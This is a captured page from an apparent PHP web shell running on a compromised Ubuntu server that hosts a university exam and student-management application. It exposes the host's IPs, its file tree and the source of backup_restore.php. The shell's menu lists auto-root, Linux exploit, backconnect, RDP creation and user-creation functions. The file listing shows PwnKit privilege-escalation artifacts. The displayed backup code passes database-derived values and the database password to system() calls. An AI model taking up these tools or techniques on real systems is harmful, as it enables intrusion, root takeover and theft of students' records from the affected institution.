Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.216.11.230
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ssa /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
system
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
.src.php
3.61
KB
-rw-r--r--
Dispatch_ans_script_setup.php
5.84
KB
-rwxrwxrwx
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxrwxrwx
ECHblk.php
11.06
KB
-rwxrwxrwx
FormulaEvaluate.php
14.15
KB
-rwxrwxrwx
MarkEntry-Setup.php
19.98
KB
-rwxrwxrwx
MarkEntry-SetupTEST.php
21.01
KB
-rwxrwxrwx
MarkEntry-Setup_28102014.php
22.99
KB
-rwxrwxrwx
TAGMAY2013.pdf
331.03
KB
-rwxrwxrwx
TarkaFormatStyles.php
15.37
KB
-rwxrwxrwx
TarkaFormatStyles_old.php
3.71
KB
-rwxrwxrwx
absent_entry_setup.php
8.13
KB
-rwxrwxrwx
absent_entry_setupQp.php
6.93
KB
-rwxrwxrwx
absent_entry_setup_old.php
7.61
KB
-rwxrwxrwx
ack_exam_app_form.php
12.09
KB
-rwxrwxrwx
ack_exam_app_form_07032014.php
9
KB
-rwxrwxrwx
ack_exam_app_form_14032014.php
9.6
KB
-rwxrwxrwx
ack_rv_rt_application.php
7.7
KB
-rwxrwxrwx
ack_rv_rt_application_5days.ph...
7.41
KB
-rwxrwxrwx
ack_rv_rt_application_before_l...
6.02
KB
-rwxrwxrwx
actClass.php
6.21
KB
-rwxrwxrwx
admission_entry_status.php
2.73
KB
-rwxrwxrwx
attendance.php
6.13
KB
-rwxrwxrwx
auto-complete.php
4.89
KB
-rwxrwxrwx
backup_restore.php
8.14
KB
-rwxrwxrwx
backupandrestore.php
10.18
KB
-rwxrwxrwx
bundle_dispatch.php
2.84
KB
-rwxrwxrwx
cManualMailer.php
2.54
KB
-rwxrwxrwx
caccesscontext.php
1.24
KB
-rwxrwxrwx
candidate-entry.php
42.45
KB
-rwxrwxrwx
candidate-entry1.php
37
KB
-rwxrwxrwx
candidate-entry24082012.php
33.21
KB
-rwxrwxrwx
candidate-entry_220413.php
33.21
KB
-rwxrwxrwx
candidate-entry_without_iapr_i...
34.88
KB
-rwxrwxrwx
candidate-entrybefore yearexam...
34.55
KB
-rwxrwxrwx
candidate-entrykus.php
33.23
KB
-rwxrwxrwx
candidate-entryold.php
34.55
KB
-rwxrwxrwx
cappcontext.php
3.19
KB
-rwxrwxrwx
challan_entries.php
13.34
KB
-rwxrwxrwx
challan_preparation.php
10.28
KB
-rwxrwxrwx
cmailer.php
6.83
KB
-rwxrwxrwx
college.php
4.61
KB
-rwxrwxrwx
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxrwxrwx
college_degree_status.php
5.86
KB
-rwxrwxrwx
coutput.php
1.75
KB
-rwxrwxrwx
create_all_grid_files.php
8.57
KB
-rwxrwxrwx
create_all_grid_group_files.ph...
9.94
KB
-rwxrwxrwx
create_all_grid_group_files_ol...
9.61
KB
-rwxrwxrwx
create_all_popup_files.php
5.93
KB
-rwxrwxrwx
create_all_schema_files.php
4.31
KB
-rwxrwxrwx
create_all_views.php
16.52
KB
-rwxrwxrwx
create_html_files.php
52.03
KB
-rwxrwxrwx
create_html_files_without_tab....
44.49
KB
-rwxrwxrwx
create_module_meta_columns.php
5.16
KB
-rwxrwxrwx
crequestbroker.php
2.49
KB
-rwxrwxrwx
csessions.php
514
B
-rwxrwxrwx
cuser.php
3.41
KB
-rwxrwxrwx
custom_mregistry.php
122
B
-rwxrwxrwx
datadictionary.php
3.96
KB
-rwxrwxrwx
daterange.php
4.86
KB
-rwxrwxrwx
degree.php
6.51
KB
-rwxrwxrwx
degree1.php
6.78
KB
-rwxrwxrwx
display_details_in_grid.php
101.68
KB
-rwxrwxrwx
display_details_in_grid_240320...
98.86
KB
-rwxrwxrwx
display_details_in_grid_before...
98.71
KB
-rwxrwxrwx
display_details_in_grid_custom...
2.68
KB
-rwxrwxrwx
display_details_in_grid_studta...
96.56
KB
-rwxrwxrwx
display_details_in_grid_withde...
97.45
KB
-rwxrwxrwx
doc_verify.php
7.02
KB
-rwxrwxrwx
download_misc_files.php
3.3
KB
-rwxrwxrwx
download_misc_files_19062014.p...
3.25
KB
-rwxrwxrwx
download_photo.php
3.68
KB
-rwxrwxrwx
download_photo_12092018.php
4.1
KB
-rwxrwxrwx
download_upload.php
3.86
KB
-rwxrwxrwx
dynamicmastersdetails.php
117.45
KB
-rwxrwxrwx
dynamicmastersdetails_23.php
120
KB
-rwxrwxrwx
dynamicmastersdetails_one.php
119.36
KB
-rwxrwxrwx
entryexitevents.php
3.09
KB
-rwxrwxrwx
execute_query.php
2.5
KB
-rwxrwxrwx
execute_query27062012.php
2.51
KB
-rwxrwxrwx
export_import_setup.php
7.62
KB
-rwxrwxrwx
export_import_utility.php
2.67
KB
-rwxrwxrwx
format.php
7.43
KB
-rwxrwxrwx
freeze_Ad_Cl_Me.php
6.64
KB
-rwxrwxrwx
freeze_module_at_admin_college...
6.53
KB
-rwxrwxrwx
freeze_module_at_university_co...
7.45
KB
-rwxrwxrwx
general_report_format.php
11
KB
-rwxrwxrwx
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxrwxrwx
getdata.php
33.04
KB
-rwxrwxrwx
getdata110911.php
16.03
KB
-rwxrwxrwx
getdata22.php
28.7
KB
-rwxrwxrwx
getdata27062012.php
16.8
KB
-rwxrwxrwx
getdata_24032015.php
20.96
KB
-rwxrwxrwx
getfeeinformation.php
6.95
KB
-rwxrwxrwx
getmoduledetails.php
23.7
KB
-rwxrwxrwx
getnumword.php
7.43
KB
-rwxrwxrwx
getreportdetails.php
3.21
KB
-rwxrwxrwx
getreportfilefordisplay.php
1.37
KB
-rwxrwxrwx
getsearchcondition.php
1.3
KB
-rwxrwxrwx
ggridmodel.php
9.27
KB
-rwxrwxrwx
golden_palm_payslip.php
12.48
KB
-rwxrwxrwx
helptext.php
5.38
KB
-rwxrwxrwx
identify_transactions.php
6.4
KB
-rwxrwxrwx
import_marks.php
4.11
KB
-rwxrwxrwx
json.php
33.22
KB
-rwxrwxrwx
login.php
6.11
KB
-rwxrwxrwx
login.php_1
3.25
KB
-rwxrwxrwx
login20012017.php
5.54
KB
-rwxrwxrwx
login27062012.php
2.85
KB
-rwxrwxrwx
login_03032015.php
3.6
KB
-rwxrwxrwx
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxrwxrwx
login_old.php
3.15
KB
-rwxrwxrwx
markEntry-Setup2.php
21.93
KB
-rwxrwxrwx
message_board.php
4.67
KB
-rwxrwxrwx
module_setup.php
2.48
KB
-rwxrwxrwx
mregistry.php
89.5
KB
-rwxrwxrwx
mregistry02012017.php
59.71
KB
-rwxrwxrwx
mregistry24042015.php
55.01
KB
-rwxrwxrwx
mregistry_before_subupdtostud_...
52.68
KB
-rwxrwxrwx
mregistry_beforedownload.php
53.04
KB
-rwxrwxrwx
mregistry_old.php
66.7
KB
-rwxrwxrwx
mrn_approval.php
9
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxrwxrwx
report_setup.php
25.12
KB
-rwxrwxrwx
report_tool.php
73.03
KB
-rwxrwxrwx
revaluation.php
16.66
KB
-rwxrwxrwx
revaluation_oldtype.php
8.45
KB
-rwxrwxrwx
revaluation_withdegree.php
16.77
KB
-rwxrwxrwx
room_allotment.php
7.21
KB
-rwxrwxrwx
sendLoginPassword.php
3.09
KB
-rwxrwxrwx
serchbygrid.php
822
B
-rwxrwxrwx
student_entry.php
47.97
KB
-rwxrwxrwx
student_entry1307.php
37.71
KB
-rwxrwxrwx
student_entry27062012.php
30.47
KB
-rwxrwxrwx
student_entryold.php
30.33
KB
-rwxrwxrwx
subjectList_display.php
11.01
KB
-rwxrwxrwx
subject_freshExam.php
18.92
KB
-rwxrwxrwx
subjectfreez.php
12.98
KB
-rwxrwxrwx
system_utility.php
1.84
KB
-rwxrwxrwx
systemsetup.php
75.5
KB
-rwxrwxrwx
teachers.php
10.33
KB
-rwxrwxrwx
transaction-series.php
4.86
KB
-rwxrwxrwx
updateSection.php
3.86
KB
-rwxrwxrwx
update_defined_flag.php
3.41
KB
-rwxrwxrwx
upload_studentPhoto.php
10.12
KB
-rwxrwxrwx
upload_studentPhoto02062015.ph...
11.58
KB
-rwxrwxrwx
upload_studentPhoto_before_dow...
8.02
KB
-rwxrwxrwx
uploadmoduledetails.php
39.65
KB
-rwxrwxrwx
usersetup.php
24.14
KB
-rwxrwxrwx
usersubj_identification.php
4.77
KB
-rwxrwxrwx
usersubj_identification_old.ph...
4.54
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_restore.php
<?php /*Author : M.Srikanth Date : 2009-07-13 Project : paycheck Description : This class is for to backup db */ //Start : 'backup_restore' Class class backup_restore { //Start : Constructor function __construct($aobj_context) { session_start(); $this->aobj_context=$aobj_context; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $this->user_id = $_SESSION['user_id']; $this->BackupSetup(); } //End : Constructor /* This function is for to get market modules names*/ function BackupSetup() { $get_data ="select suse.internal_code,concat('module_',ref_s_user_schema_code) as table_name, name,system_name,db_field,concat('module_',ref_module_code) ref_module_table, if(ref_s_user_schema_group_code>0, concat('user_schema_',ref_s_user_schema_code,'_group_',ref_s_user_schema_group_code),0) as group_table from s_user_schema_elements suse inner join s_user_schema sus on sus.internal_code=ref_s_user_schema_code where module_name='BackUp Setup'"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); foreach($lobj_get_data as $key=>$value) { if($value[system_name]=='backup_storage_path') { $this->backup_setup_backup_storage_path=$value[db_field]; $this->backup_setup_table=$value[table_name]; } else if($value[system_name]=='mysql_path') { $this->backup_setup_mysql_path=$value[db_field]; } } } function createBackupDb() { include_once($this->aobj_context->main_src.'/config.php'); $confg_obj=new CConfig(); $dbhost = $confg_obj->mstr_host; $dbuser =$confg_obj->mstr_user; $dbpass =$confg_obj->mstr_password; $db_name =$confg_obj->mstr_db; if($dbpass == '') $pass_field = ""; else $pass_field = " -p"; $get_paths = "select internal_code,{$this->backup_setup_backup_storage_path} as folder_path, {$this->backup_setup_mysql_path} as mysql_path from {$this->backup_setup_table} "; $lobj_get_paths = $this->aobj_context->mobj_db->GetRow($get_paths); $folder_path = $lobj_get_paths[folder_path]; $mysql_path = $lobj_get_paths[mysql_path]; system(mkdir($folder_path.date("Ymd"))); $folder_path=$folder_path.date("Ymd")."\\"; $backupFile = $db_name .'_'. date("Ymd").'.sql'; $command = "{$mysql_path}mysqldump --opt -h {$dbhost} -u {$dbuser}{$pass_field}{$dbpass} {$db_name} > {$folder_path}{$backupFile}"; //echo $command; system(($command),$retval); } function getZipBackup() { include_once($this->aobj_context->main_src.'/config.php'); $easy_zip_file_path=$this->aobj_context->main_src."/easy_zip/easy_zip.php"; require_once($easy_zip_file_path); $confg_obj=new CConfig(); $dbhost = $confg_obj->mstr_host; $dbuser =$confg_obj->mstr_user; $dbpass =$confg_obj->mstr_password; $db_name =$confg_obj->mstr_db; if($dbpass == '') $pass_field = ""; else $pass_field = " -p"; $get_paths = "select internal_code,{$this->backup_setup_backup_storage_path} as folder_path, {$this->backup_setup_mysql_path} as mysql_path from {$this->backup_setup_table} "; $lobj_get_paths = $this->aobj_context->mobj_db->GetRow($get_paths); $folder_path = $lobj_get_paths[folder_path]; $mysql_path = $lobj_get_paths[mysql_path]; $zip_path= $this->aobj_context->main_src."/imported_files/inventory_db_".date("Ymd").".sql"; $command = "{$mysql_path}mysqldump --opt -h {$dbhost} -u {$dbuser}{$pass_field}{$dbpass} {$db_name} > {$zip_path}"; system(($command),$retval); $zipobj = new EasyZIP; $zipobj -> addFile($zip_path); $zipobj -> zipFile("{$zip_path}.zip"); header("Expires: 0"); header("Content-type: application/zip"); header("Content-Disposition: attachment; filename=$db_name.zip"); print file_get_contents($zip_path.".zip"); unlink(("{$zip_path}.zip")); unlink($zip_path); } function restoreBackupDb() { include_once($this->aobj_context.'/config.php'); $confg_obj=new CConfig(); $dbhost = $confg_obj->mstr_host; $dbuser =$confg_obj->mstr_user; $dbpass =$confg_obj->mstr_password; $db_name =$confg_obj->mstr_db; if($dbpass == '') $pass_field = ""; else $pass_field = " -p"; $get_paths = "select internal_code,{$this->backup_setup_backup_storage_path} as folder_path, {$this->backup_setup_mysql_path} as mysql_path from {$this->backup_setup_table} "; $lobj_get_paths = $this->aobj_context->mobj_db->GetRow($get_paths); $folder_path = $lobj_get_paths[folder_path]; $mysql_path = $lobj_get_paths[mysql_path]; $backupFile = $db_name .'_'. $this->inputdate.'.sql'; $file_path = $folder_path.$this->inputdate.'\\'.$backupFile; if(!file_exists($file_path)) return $db_name; $view_path=$this->aobj_context->main_src."/src/create_all_views.php"; include_once($view_path); $backupFile = $db_name .'_'. $this->inputdate.'.sql'; $file_path = $folder_path.$this->inputdate.'\\'.$backupFile; if(file_exists($file_path)) { $create_db = "create database if not exists {$db_name} "; $lobj_create_db = $this->aobj_context->mobj_db->execute($create_db); $command = "{$mysql_path}mysql -u $dbuser {$pass_field}{$dbpass} {$db_name} < {$file_path}"; // echo $command; // die(); system($command); CreateView($this->aobj_context); } return 0; } } //End : Class file function GetDbBackup($aobj_context) { ini_set("memory_limit",-1); ini_set('max_execution_time',2900); $class_obj=new backup_restore($aobj_context); $class_obj->backup_date = $aobj_context->mobj_data["date"]; $backup_db_result = $class_obj->createBackupDb(); if(!empty($backup_db_result)) { $data = $backup_db_result . " Not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"Success"); } else if($backup_db_result == 0) { $data = "Database is dumped successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"Success"); } } function getZipBackup($aobj_context) { ini_set("memory_limit",-1); ini_set('max_execution_time',2900); $class_obj=new backup_restore($aobj_context); $class_obj->backup_date = $aobj_context->mobj_data["date"]; $backup_db_result = $class_obj->getZipBackup(); } function PutDbRestore($aobj_context) { ini_set("memory_limit",-1); ini_set('max_execution_time',2900); $class_obj=new backup_restore($aobj_context); $class_obj->backup_date = $aobj_context->mobj_data["date"]; $date_arr = explode('/',$class_obj->backup_date); $day = $date_arr[0]; $month = $date_arr[1]; $year = $date_arr[2]; $class_obj->inputdate = $year.$month.$day; $restore_db_result = $class_obj->restoreBackupDb(); if(!empty($restore_db_result)) { $data = $restore_db_result . " database file not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"Success"); } else if($restore_db_result == 0) { // $data = "Database is restored successfully"; // echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"Success"); } } //End : uploadMarketDeatilsIntoDB() ?>
Close